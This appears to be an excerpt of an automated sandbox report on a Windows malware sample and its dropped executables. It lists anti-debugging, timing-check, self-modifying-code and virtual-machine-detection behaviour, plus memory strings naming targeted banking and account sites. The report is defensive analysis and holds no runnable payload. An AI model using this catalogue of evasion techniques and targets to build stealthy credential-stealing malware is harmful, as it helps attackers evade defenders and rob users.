Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1DF5A second address: A1DF5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1DF5E second address: A1DF79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F4B7CC5D3B2h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1E418 second address: A1E43C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4B7CC118BCh 0x00000008 jng 00007F4B7CC118B6h 0x0000000e jmp 00007F4B7CC118BDh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1E43C second address: A1E441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1F1A3 second address: A1F1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1F1A7 second address: A1F1AC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A2127B second address: A2127F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A2127F second address: A21285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A217B7 second address: A217C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [eax] 0x00000007 jo 00007F4B7CC118C4h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A217C7 second address: A217CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A217CD second address: A217DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F4B7CC118B6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A217DF second address: A217E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A20079 second address: A2007E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A2007E second address: A20094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4B7CC5D3AAh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A207F6 second address: A207FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A21A27 second address: A21A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A21A2B second address: A21A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A23E0E second address: A23E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4B7CC5D3B0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007F4B7CC5D3B5h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A23E40 second address: A23E46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A23E46 second address: A23E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A23E4A second address: A23E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F4B7CC118B6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A29CA7 second address: A29CAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A2A0FC second address: A2A100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A2A494 second address: A2A4B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B8h 0x00000007 push ecx 0x00000008 jnc 00007F4B7CC5D3A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A2A4B7 second address: A2A4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F4B7CC118BBh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4B7CC118C2h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A2A4DE second address: A2A4F2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4B7CC5D3A6h 0x00000008 jg 00007F4B7CC5D3A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Special instruction interceptor: First address: 2389FD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Special instruction interceptor: First address: 2388EE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Special instruction interceptor: First address: 3E883D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Special instruction interceptor: First address: 2365AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Special instruction interceptor: First address: 87FECE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Special instruction interceptor: First address: A21348 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Special instruction interceptor: First address: A1FE89 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Special instruction interceptor: First address: 106ED6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Special instruction interceptor: First address: 106EE18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Special instruction interceptor: First address: 106ED90 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Special instruction interceptor: First address: 129EE4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7BED6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7BEE18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7BED90 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9EEE4F instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

Code function: 6_2_056F0527 rdtsc

6_2_056F0527

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window / User API: threadDelayed 1385	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window / User API: threadDelayed 1111	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window / User API: threadDelayed 1116	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window / User API: threadDelayed 1124	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window / User API: threadDelayed 1461	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window / User API: threadDelayed 1150	Jump to behavior

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 2532	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 2532	Thread sleep time: -132066s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 6948	Thread sleep count: 1385 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 6948	Thread sleep time: -2771385s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 4196	Thread sleep count: 1111 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 4196	Thread sleep time: -2223111s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 5832	Thread sleep count: 1116 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 5832	Thread sleep time: -2233116s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 280	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 3084	Thread sleep count: 1124 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 3084	Thread sleep time: -2249124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 1096	Thread sleep count: 1461 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 1096	Thread sleep time: -2923461s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 5068	Thread sleep count: 1150 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 5068	Thread sleep time: -2301150s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe TID: 416	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6336	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6336	Thread sleep time: -1230000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6336	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: VJV6IQUTCE3IBMH3UJROT.exe, VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2989222525.0000000000A05000.00000040.00000001.01000000.00000006.sdmp, QA4B92LG0Q3PL6TE6NK36C44P92RH.exe, 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000002.3397542013.0000000000949000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: ZBbOXn0a3R.exe, 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2746855415.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481917195.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912746408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729751740.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.0000000001234000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000009.00000002.3399493778.000000000116B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000009.00000002.3399493778.0000000001138000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.0000000001203000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649529097.0000000005502000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2989222525.0000000000A05000.00000040.00000001.01000000.00000006.sdmp, QA4B92LG0Q3PL6TE6NK36C44P92RH.exe, 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000002.3397542013.0000000000949000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: ZBbOXn0a3R.exe, 00000001.00000003.2649672111.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

Code function: 6_2_056F0527 rdtsc

6_2_056F0527

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_0103652B mov eax, dword ptr fs:[00000030h]	6_2_0103652B
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_0103A302 mov eax, dword ptr fs:[00000030h]	6_2_0103A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_0078A302 mov eax, dword ptr fs:[00000030h]	7_2_0078A302
